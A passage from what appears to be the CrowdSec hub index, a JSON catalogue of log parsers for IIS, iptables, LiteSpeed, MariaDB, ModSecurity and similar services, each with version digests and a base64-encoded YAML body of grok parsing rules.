gICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5jbGllbnRfaXAKICAgICAgLSBtZXRhOiBodHRwX3N0YXR1cwogICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQuc3RhdHVzCiAgICAgIC0gbWV0YTogaHR0cF9wYXRoCiAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5odHRwX3BhdGgKICAgICAgLSBtZXRhOiBodHRwX3VzZXJfYWdlbnQKICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnVzZXJfYWdlbnQKICAgICAgLSBtZXRhOiBodHRwX3ZlcmIKICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLm1ldGhvZAogICAgICAtIHBhcnNlZDogdmVyYgogICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQubWV0aG9kCiAgICAgIC0gdGFyZ2V0OiBldnQuUGFyc2VkLnJlcXVlc3QKICAgICAgICBleHByZXNzaW9uOiBldnQuTWV0YS5odHRwX3BhdGggKyAnPycgKyBldnQuUGFyc2VkLmh0dHBfYXJncwoKc3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiBodHRwCiAgLSBtZXRhOiBsb2dfdHlwZQogICAgdmFsdWU6IGh0dHBfYWNjZXNzLWxvZw==", "description": "Parse IIS access logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/iptables-logs": { "path": "parsers/s01-parse/crowdsecurity/iptables-logs.yaml", "stage": "s01-parse", "version": "0.3", "versions": { "0.1": { "digest": "00076ea5d8fa862aeb6bb48890d84d9e2763bfc332a635eab884c0a3069fcccd", "deprecated": false }, "0.2": { "digest": "5b9e9e5bc1fc9a6ab923a7e08f0c5e4e16e5702f09b5142245694f52c45348f5", "deprecated": false }, "0.3": { "digest": "32c82e2b47e825f63e3536bd38bd153019139c8b7f57b8b005aa6d86f88c62f7", "deprecated": false } }, "long_description": "QSBwYXJzZXIgZm9yIGlwdGFibGVzIGAtaiBMT0dgIGxvZ3MgOgoKIC0gT25seSBwYXJzZSBrZXJuZWwgbWVzc2FnZXMgY29udGFpbmluZyBgSU49YAogLSBTa2lwIGxpbmVzIGlmIGRlY2lzaW9ucyBpcyBgQUNDRVBUYAogLSBBbGwgbG9nZ2VkIHBhY2tldHMgYXJlIGNvbnNpZGVyZWQgYXMgRFJPUHMuCgpUbyBtYWtlIHRoaXMgcGFyc2VyIHJlbGV2YW50LCB5b3Ugc2hvdWxkIGhhdmUgYSBgaXB0YWJsZXMgLUEgSU5QVVQgIC1tIHN0YXRlIC0tc3RhdGUgTkVXIC1qIExPR2Agb3Igc2ltaWxhciBpbnRvIHlvdXIgY29uZmlndXJhdGlvbi4gVGhpcyBvbmUgd2lsbCBsb2cgYWxsIG5ldyBjb25uZWN0aW9ucywgc3VjY2Vzc2Z1bCBvciBub3QuCgo=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ2tlcm5lbCcgYW5kIGV2dC5QYXJzZWQubWVzc2FnZSBjb250YWlucyAnSU49JyBhbmQgbm90IChldnQuUGFyc2VkLm1lc3NhZ2UgY29udGFpbnMgJ0FDQ0VQVCcpIgpuYW1lOiBjcm93ZHNlY3VyaXR5L2lwdGFibGVzLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBpcHRhYmxlcyBkcm9wIGxvZ3MiCmdyb2s6CiAgcGF0dGVybjogSU49JXtEQVRBOmludF9ldGh9IChPVVQ9ICk/TUFDPSV7SVB9OiV7TUFDfSBTUkM9JXtJUDpzcmNfaXB9IERTVD0le0lQOmRzdF9pcH0gTEVOPSV7SU5UOmxlbmd0aH0uKlBST1RPPSV7V09SRDpwcm90b30gU1BUPSV7SU5UOnNyY19wb3J0fSBEUFQ9JXtJTlQ6ZHN0X3BvcnR9CiAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAgIC0gbWV0YTogc2VydmljZQogICAgICB2YWx1ZTogdGNwCiAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgIHZhbHVlOiBpcHRhYmxlc19kcm9wCiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zcmNfaXAiCgo=", "description": "Parse iptables drop logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/kasm-logs": { "path": "parsers/s01-parse/crowdsecurity/kasm-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "cda64d5195d7e0837c64600d2494a5a60f8d8d8967899b730ee32f737a79d9bb", "deprecated": false } }, "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtIHN0YXJ0c1dpdGggJ2thc20nIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKIyBkZWJ1ZzogdHJ1ZQpuYW1lOiBjcm93ZHNlY3VyaXR5L2thc20tbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIGthc20gbG9ncyIKbm9kZXM6CiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnJXtJUE9SSE9TVDpyZW1vdGVfaXB9KCwle0dSRUVEWURBVEE6cHJveGllc30pPycKICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LkxpbmUuUmF3LCAicmVxdWVzdF9pcCIpCnN0YXRpY3M6CiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZToga2FzbQogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LkxpbmUuUmF3LCAidGltZXN0YW1wIikKICAtIG1ldGE6IG1ldHJpY19uYW1lCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuTGluZS5SYXcsICJtZXRyaWNfbmFtZSIpCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucmVtb3RlX2lwCiAgLSBtZXRhOiBodHRwX3VzZXJfYWdlbnQKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5MaW5lLlJhdywgInVzZXJfYWdlbnQiKQogIC0gbWV0YTogaHR0cF9wYXRoCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuTGluZS5SYXcsICJwYXRoX2luZm8iKQ==", "description": "Parse kasm logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/litespeed-logs": { "path": "parsers/s01-parse/crowdsecurity/litespeed-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "868cf099d57ea7a1994961b8d65e5abce01e797517bb97959c7e68e52dcb0b6f", "deprecated": false } }, "long_description": "QSBwYXJzZXIgZm9yIGxpdGVzcGVlZCBzZXJ2ZXIgbG9ncywgc3VwcG9ydCBib3RoIGFjY2VzcyBhbmQgZXJyb3JzIChIVFRQIHVzZXIgYXV0aGVudGljYXRpb24pIGxvZ3Mu", "content": "ZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdsaXRlc3BlZWQnIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKbmFtZTogY3Jvd2RzZWN1cml0eS9saXRlc3BlZWQtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIGxpdGVzcGVlZCBhY2Nlc3MgYW5kIGVycm9yIGxvZ3MiCm5vZGVzOgogIC0gZ3JvazoKICAgICAgI2FjY2VzcyBsb2cKICAgICAgcGF0dGVybjogJyV7SVBPUkhPU1Q6cmVtb3RlX2FkZHJ9IC0gKCV7TkdVU0VSOnJlbW90ZV91c2VyfSk/IFxbJXtIVFRQREFURTp0aW1lX2xvY2FsfVxdICIle1dPUkQ6dmVyYn0gJXtEQVRBOnJlcXVlc3R9IEhUVFAvJXtOVU1CRVI6aHR0cF92ZXJzaW9ufSIgJXtOVU1CRVI6c3RhdHVzfSAle05VTUJFUjpib2R5X2J5dGVzX3NlbnR9ICIle05PVERRVU9URTpodHRwX3JlZmVyZXJ9IiAiJXtOT1REUVVPVEU6aHR0cF91c2VyX2FnZW50fSInCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGh0dHBfYWNjZXNzLWxvZwogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lX2xvY2FsCiAgLSBncm9rOgogICAgICAjdXNlciBub3QgZm91bmQgb3IgYmFkIHBhc3N3b3JkIGZvciBIVFRQIGF1dGgKICAgICAgcGF0dGVybjogIiV7VElNRVNUQU1QX0lTTzg2MDE6dGltZX0gXFxbJXtEQVRBOmxvZ19sZXZlbH1cXF0gXFxbJXtOT05ORUdJTlQ6cGlkfVxcXSBcXFsle0lQT1JIT1NUOnJlbW90ZV9hZGRyfTole0RBVEE6bWlzY30jJXtEQVRBOnZob3N0fVxcXSBVc2VyICcle05HVVNFUjp1c2VybmFtZX0nIGZhaWxlZCB0byBhdXRoZW50aWNhdGVcXC4iCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBzdWJfdHlwZQogICAgICAgICAgdmFsdWU6ICJhdXRoX2ZhaWwiCiAgICAgICAgLSBtZXRhOiB1c2VybmFtZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC51c2VybmFtZQogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lCiAgLSBncm9rOgogICAgICAjYWRtaW4gVUkgYXV0aCBmYWlsCiAgICAgIHBhdHRlcm46ICIle1RJTUVTVEFNUF9JU084NjAxOnRpbWV9IFxcWyV7REFUQTpsb2dfbGV2ZWx9XFxdIFxcWyV7Tk9OTkVHSU5UOnBpZH1cXF0gXFxbJXtJUE9SSE9TVDpyZW1vdGVfYWRkcn06JXtEQVRBOm1pc2N9IyV7REFUQTp2aG9zdH1cXF0gXFxbJXtXT1JEfVxcXSBcXFsle0RBVEF9XFxdIEZhaWxlZCBMb2dpbiBBdHRlbXB0IC0gdXNlcm5hbWU6JXtEQVRBOnVzZXJuYW1lfSBpcDole0lQOmNsaWVudF9pcH0gdXJsOiV7REFUQTp1cmx9IgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogc3ViX3R5cGUKICAgICAgICAgIHZhbHVlOiAibGl0ZXNwZWVkX2FkbWluX2F1dGhfZmFpbCIKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZQogICAgICAgIC0gbWV0YTogdXNlcm5hbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudXNlcm5hbWUKc3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiBodHRwCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnJlbW90ZV9hZGRyIgogIC0gbWV0YTogaHR0cF9zdGF0dXMKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnN0YXR1cyIKICAtIG1ldGE6IGh0dHBfcGF0aAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVxdWVzdCIKICAtIG1ldGE6IGh0dHBfdmVyYgogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudmVyYiIKICAtIG1ldGE6IGh0dHBfdXNlcl9hZ2VudAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuaHR0cF91c2VyX2FnZW50IgogIC0gbWV0YTogdGFyZ2V0X2ZxZG4KICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnRhcmdldF9mcWRuIgo=", "description": "Parse litespeed access and error logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/magento-extension-logs": { "path": "parsers/s01-parse/crowdsecurity/magento-extension-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "14462ab2a582ecf9be26402de41b9a253e997b93a39c1aa1cfb22abf3740f808", "deprecated": false } }, "long_description": "UGFyc2VyIGZvciB0aGUgW0Nyb3dkU2VjIE1hZ2VudG8gRXh0ZW5zaW9uXShodHRwczovL2h1Yi5jcm93ZHNlYy5uZXQvYXV0aG9yL2Nyb3dkc2VjdXJpdHkvYm91bmNlcnMvY3MtbWFnZW50by1ib3VuY2VyKS4=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ21hZ2VudG8tZXh0ZW5zaW9uJyIKbmFtZTogY3Jvd2RzZWN1cml0eS9tYWdlbnRvLWV4dGVuc2lvbi1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgQ3Jvd2RTZWMgTWFnZW50byBleHRlbnNpb24gbG9ncyIKcGF0dGVybl9zeW50YXg6CiAgSEVBREVSOiAnXFsle0RBVEE6dGltZXN0YW1wfVxdIGNyb3dkc2VjLWV2ZW50c1wuW146XSs6ICAle0dSRUVEWURBVEE6bGluZX0gXFtcXScKbm9kZXM6CiAgLSBncm9rOgogICAgICBuYW1lOiAiSEVBREVSIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gdGFyZ2V0OiBTdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcApzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBtYWdlbnRvCiAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubGluZSwgInR5cGUiKQogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5saW5lLCAiaXAiKQogICAgLSBtZXRhOiB4X2ZvcndhcmRlZF9mb3IKICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5saW5lLCAieC1mb3J3YXJkZWQtZm9yLWlwIikKICAgIC0gbWV0YTogYm91bmNlcl9hZ2VudAogICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLmxpbmUsICJib3VuY2VyX2FnZW50IikKICAgIC0gbWV0YTogY3VzdG9tZXJfaWQKICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5saW5lLCAiY3VzdG9tZXJfaWQiKQogICAgLSBtZXRhOiBwYXltZW50X21ldGhvZAogICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLmxpbmUsICJwYXltZW50X21ldGhvZCIpCiAgICAtIG1ldGE6IG9yZGVyX2lkCiAgICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubGluZSwgIm9yZGVyX2lkIikKICAgIC0gbWV0YTogcHJvZHVjdF9pZAogICAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLmxpbmUsICJwcm9kdWN0X2lkIikKICAgIC0gbWV0YTogcXVvdGVfaWQKICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5saW5lLCAicXVvdGVfaWQiKQ==", "description": "Parse CrowdSec Magento extension logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/mariadb-logs": { "path": "parsers/s01-parse/crowdsecurity/mariadb-logs.yaml", "stage": "s01-parse", "version": "0.4", "versions": { "0.1": { "digest": "98468759d771f3db2dfdf795ac2794c9b56c01d6d46e98a1a81913309bedc74f", "deprecated": false }, "0.2": { "digest": "f41ce905ce3bd2034f375af20547930c913260792a82e8426aa8ab3b146cdba0", "deprecated": false }, "0.3": { "digest": "de1d309812318018d96a22970c1d3a62e60f4c5807cd845496a09aa72fd18919", "deprecated": false }, "0.4": { "digest": "cb1a53a0c8e563401a4c89db5217e73178c6760100c37146b748489823b7778c", "deprecated": false } }, "long_description": "TWFyaWFkYiBhdXRoZW50aWNhdGlvbiBmYWlsdXJlIHBhcnNlci4K", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvbWFyaWFkYi1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgTWFyaWFEQiBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gc3RhcnRzV2l0aCAnbWFyaWFkYiciCnBhdHRlcm5fc3ludGF4OgogIExPTkdfREFURV9ZTUQ6ICIle1lFQVI6eWVhcn0tJXtNT05USE5VTTptb250aH0tJXtNT05USERBWTpkYXl9IgogIFNIT1JUX0RBVEVfWU1EOiAiJXtZRUFSOnllYXJ9JXtNT05USE5VTTI6bW9udGh9JXtNT05USERBWTpkYXl9IgogIFBBU1NXT1JEX1NZTlRBWDogIiA/JXtUSU1FOnRpbWV9ICgle05VTUJFUjp0aHJlYWRfaWR9ICk/XFxbV2FybmluZ1xcXSBBY2Nlc3MgZGVuaWVkIGZvciB1c2VyICcle0RBVEE6dXNlcn0nQCcle0lQOnNvdXJjZV9pcH0nIFxcKHVzaW5nIHBhc3N3b3JkOiAle1dPUkQ6dXNpbmdfcGFzc3dvcmR9XFwpIgpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICIle0xPTkdfREFURV9ZTUQ6ZGF0ZX0gJXtQQVNTV09SRF9TWU5UQVh9IgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgb25zdWNjZXNzOiBuZXh0X3N0YWdlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAiJXtTSE9SVF9EQVRFX1lNRDpkYXRlfSAle1BBU1NXT1JEX1NZTlRBWH0iCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lRm9ybWF0CiAgICAgICAgICB2YWx1ZTogIjA2MDEwMiAxNTowNDowNSIKICAgIG9uc3VjY2VzczogbmV4dF9zdGFnZQpzdGF0aWNzOgogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuZGF0ZSArICcgJyArIGV2dC5QYXJzZWQudGltZSIKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogIm1hcmlhZGJfZmFpbGVkX2F1dGgiCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAtIG1ldGE6IHVzZXIKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnVzZXIiCg==", "description": "Parse MariaDB logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/modsecurity": { "path": "parsers/s01-parse/crowdsecurity/modsecurity.yaml", "stage": "s01-parse", "version": "0.9", "versions": { "0.1": { "digest": "8db1b74ef6681ebe8e9fcc09ed271830a330f3aa5dd3e273a98b3906c334f715", "deprecated": false }, "0.2": { "digest": "522f242c438219ae659e775aa123c252d9dcebf8bf808d644eb8a0069ed87919", "deprecated": false }, "0.3": { "digest": "f173c890dc7abadbeedf7e99d11ae8834e0dfc90e21684b5ea71f267a5a506f5", "deprecated": false }, "0.4": { "digest": "cd4f670cbb0b41d6e19d61170cfb60868832bf19e8393235d857dd356f33df2a", "deprecated": false }, "0.5": { "digest": "bc41dae1bc38731159c2c141ed9a0e4f99d6c8ec525555c6915a5ee376716da2", "deprecated": false }, "0.6": { "digest": "e598abbbe73a831393605f33b513cbf92b1f568a37f1388a3aa9fa7065d1514e", "deprecated": false }, "0.7": { "digest": "beee35fd2bb445549f0ef2f1be21dee30019aaaf6522a86e9bc114df6ecae73f", "deprecated": false }, "0.8": { "digest": "2f897a99b1d318627537f760a09194d62cb7d3cf6f2673b48815b2bd28a4279e", "deprecated": false }, "0.9": { "digest": "051d3c5c4b723913221f8e864f8ae21e491d79c139f3f8776e1591b5cba48582", "deprecated": false } }, "long_description": "VGhpcyBtb2RzZWN1cml0eSBwYXJzZXIgc3VwcG9ydCBtb2RzZWN1cml0eSBsb2dzIGZyb20gYXBhY2hlMiBlcnJvciBsb2cuCgooTm90IHRlc3RlZCB3aXRoIE5naW54IHlldCkuIA==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdtb2RzZWN1cml0eScKbmFtZTogY3Jvd2RzZWN1cml0eS9tb2RzZWN1cml0eQojZGVidWc6IHRydWUKZGVzY3JpcHRpb246IEEgcGFyc2VyIGZvciBtb2RzZWN1cml0eSBXQUYKcGF0dGVybl9zeW50YXg6CiAgQVBBQ0hFRVJST1JQUkVGSVgyOiAiXFxbJXtBUEFDSEVFUlJPUlRJTUU6dGltZXN0YW1wfVxcXSBcXFsle05PVFNQQUNFOmFwYWNoZXNldmVyaXR5fVxcXSAoXFxbcGlkICV7SU5UfSg6dGlkICV7SU5UfSk/XFxdICk/XFxbY2xpZW50ICV7SVBPUkhPU1Q6c291cmNlaG9zdH0oOiV7SU5UOnNvdXJjZV9wb3J0fSk/XFxdIChcXFtjbGllbnQgJXtJUE9SSE9TVH1cXF0pPyIKICBOR0lOWEVSUk9SUFJFRklYOiAiJXtOR0lOWEVSUlRJTUU6dGltZX0gXFxbJXtMT0dMRVZFTDpsb2dsZXZlbH1cXF0gJXtOT05ORUdJTlQ6cGlkfSMle05PTk5FR0lOVDp0aWR9OiAoXFwqJXtOT05ORUdJTlQ6Y2lkfSApPyhcXFtjbGllbnQgJXtJUE9SSE9TVH1cXF0gKT8iCiAgTkdJTlhFUlJPUlNVRkZJWDogImNsaWVudDogJXtJUE9SSE9TVDpyZW1vdGVfYWRkcn0sIHNlcnZlcjogJXtEQVRBOnRhcmdldF9mcWRufSwgcmVxdWVzdDogXCIle1dPUkQ6dmVyYn0gJXtVUklQQVRIUEFSQU06cmVxdWVzdH0gSFRUUC8le05VTUJFUjpodHRwX3ZlcnNpb259XCIsIGhvc3Q6IFwiJXtJUE9SSE9TVH0oOiV7SU5UfSk/XCIiCiAgTU9EU0VDTkdJTlhQUkVGSVg6ICIle05HSU5YRVJST1JQUkVGSVh9TW9kU2VjdXJpdHk6ICgle05PVFNQQUNFOm1vZHNlY3NldmVyaXR5fVxcLiApPyV7R1JFRURZREFUQTptb2RzZWNtZXNzYWdlfSIKICBNT0RTRUNQUkVGSVgyOiAiJXtBUEFDSEVFUlJPUlBSRUZJWDJ9IE1vZFNlY3VyaXR5OiAoJXtOT1RTUEFDRTptb2RzZWNzZXZlcml0eX1cXC4gKT8le0dSRUVEWURBVEE6bW9kc2VjbWVzc2FnZX0iCiAgTU9EU0VDUlVMRUZJTEUyOiAiXFxbZmlsZSBcIiV7REFUQTpydWxlZmlsZX1cIlxcXSIKICBNT0RTRUNSVUxFTElORTI6ICJcXFtsaW5lIFwiJXtEQVRBOnJ1bGVsaW5lfVwiXFxdIgogIE1PRFNFQ01BVENIT0ZGU0VUMjogIlxcW29mZnNldCBcIiV7REFUQTptYXRjaG9mZnNldH1cIlxcXSIKICBNT0RTRUNSVUxFSUQyOiAiXFxbaWQgXCIle0RBVEE6cnVsZWlkfVwiXFxdIgogIE1PRFNFQ1JVTEVSRVYyOiAiXFxbcmV2IFwiJXtEQVRBOnJ1bGVyZXZ9XCJcXF0iCiAgTU9EU0VDUlVMRU1TRzI6ICJcXFttc2cgXCIle0RBVEE6cnVsZW1lc3NhZ2V9XCJcXF0iCiAgTU9EU0VDUlVMRURBVEEyOiAiXFxbZGF0YSBcIiV7REFUQTpydWxlZGF0YX1cIlxcXSIKICBNT0RTRUNSVUxFU0VWRVJJVFkyOiAiXFxbc2V2ZXJpdHkgXCIle0RBVEE6cnVsZXNldmVyaXR5fVwiXFxdIgogIE1PRFNFQ1JVTEVNQVRVUklUWTogIlxcW21hdHVyaXR5IFwiJXtEQVRBOm1hdHVyaXR5fVwiXFxdIgogIE1PRFNFQ1JVTEVBQ0NVUkFDWTogIlxcW2FjY3VyYWN5IFwiJXtEQVRBOmFjY3VyYWN5fVwiXFxdIgogIE1PRFNFQ1JVTEVWRVJTMjogIlxcW3ZlciBcIiV7REFUQTp2ZXJzaW9ufVwiXFxdIgogIE1PRFNFQ1JVTEVUQUdTMjogIig/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnMH1cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnMX1cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnMn1cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnM31cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnNH1cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnNX1cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnNn1cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnN31cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnOH1cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQTpydWxldGFnOX1cIlxcXSApPyg/OlxcW3RhZyBcIiV7REFUQX1cIlxcXSApKiIKICBNT0RTRUNIT1NUTkFNRTI6ICJcXFtob3N0bmFtZSBbJ1wiXSV7REFUQTp0YXJnZXRob3N0fVtcIiddXFxdIgogIE1PRFNFQ1VSSTI6ICJcXFt1cmkgW1wiJ10le0RBVEE6dGFyZ2V0dXJpfVtcIiddXFxdIgogIE1PRFNFQ1VJRDI6ICJcXFt1bmlxdWVfaWQgXCIle0RBVEE6dW5pcXVlaWR9XCJcXF0iCiAgTU9EU0VDUkVGMjogIlxcW3JlZiBcIiV7REFUQTpyZWZ9XCJcXF0iCiAgTU9EU0VDQVBBQ0hFRVJST1IyOiAiJXtNT0RTRUNQUkVGSVgyfSAle01PRFNFQ1JVTEVGSUxFMn0gJXtNT0RTRUNSVUxFTElORTJ9ICg/OiV7TU9EU0VDTUFUQ0hPRkZTRVQyfSApPyg/OiV7TU9EU0VDUlVMRUlEMn0gKT8oPzole01PRFNFQ1JVTEVSRVYyfSApPyg/OiV7TU9EU0VDUlVMRU1TRzJ9ICk/KD86JXtNT0RTRUNSVUxFREFUQTJ9ICk/KD86JXtNT0RTRUNSVUxFU0VWRVJJVFkyfSApPyg/OiV7TU9EU0VDUlVMRVZFUlMyfSApPyV7TU9EU0VDUlVMRVRBR1MyfSV7TU9EU0VDSE9TVE5BTUUyfSAle01PRFNFQ1VSSTJ9ICV7TU9EU0VDVUlEMn0iCiAgTU9EU0VDTkdJTlhFUlJPUjogIiV7TU9EU0VDTkdJTlhQUkVGSVh9ICV7TU9EU0VDUlVMRUZJTEUyfSAle01PRFNFQ1JVTEVMSU5FMn0gKD86JXtNT0RTRUNNQVRDSE9GRlNFVDJ9ICk/KD86JXtNT0RTRUNSVUxFSUQyfSApPyg/OiV7TU9EU0VDUlVMRVJFVjJ9ICk/KD86JXtNT0RTRUNSVUxFTVNHMn0gKT8oPzole01PRFNFQ1JVTEVEQVRBMn0gKT8oPzole01PRFNFQ1JVTEVTRVZFUklUWTJ9ICk/KD86JXtNT0RTRUNSVUxFVkVSUzJ9ICk/KD86JXtNT0RTRUNSVUxFTUFUVVJJVFl9ICk/KD86JXtNT0RTRUNSVUxFQUNDVVJBQ1l9ICk/JXtNT0RTRUNSVUxFVEFHUzJ9JXtNT0RTRUNIT1NUTkFNRTJ9ICV7TU9EU0VDVVJJMn0gJXtNT0RTRUNVSUQyfSAle01PRFNFQ1JFRjJ9LCAle05HSU5YRVJST1JTVUZGSVh9IgoKbm9kZXM6CiAgLSBncm9rOgogICAgICBuYW1lOiBNT0RTRUNBUEFDSEVFUlJPUjIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogbW9kc2VjdXJpdHkKICAgICAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5zb3VyY2Vob3N0CiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcAogICAgICAgIC0gbWV0YTogcnVsZV9pZAogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5ydWxlaWQKICAgICAgICAtIG1ldGE6IG1vZHNlY19tZXNzYWdlCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnJ1bGVtZXNzYWdlCiAgICAgICAgLSBtZXRhOiBtb2RzZWNfcnVsZWRhdGEKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQucnVsZWRhdGEKICAtIGdyb2s6CiAgICAgIG5hbWU6IE1PRFNFQ05HSU5YRVJST1IKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgI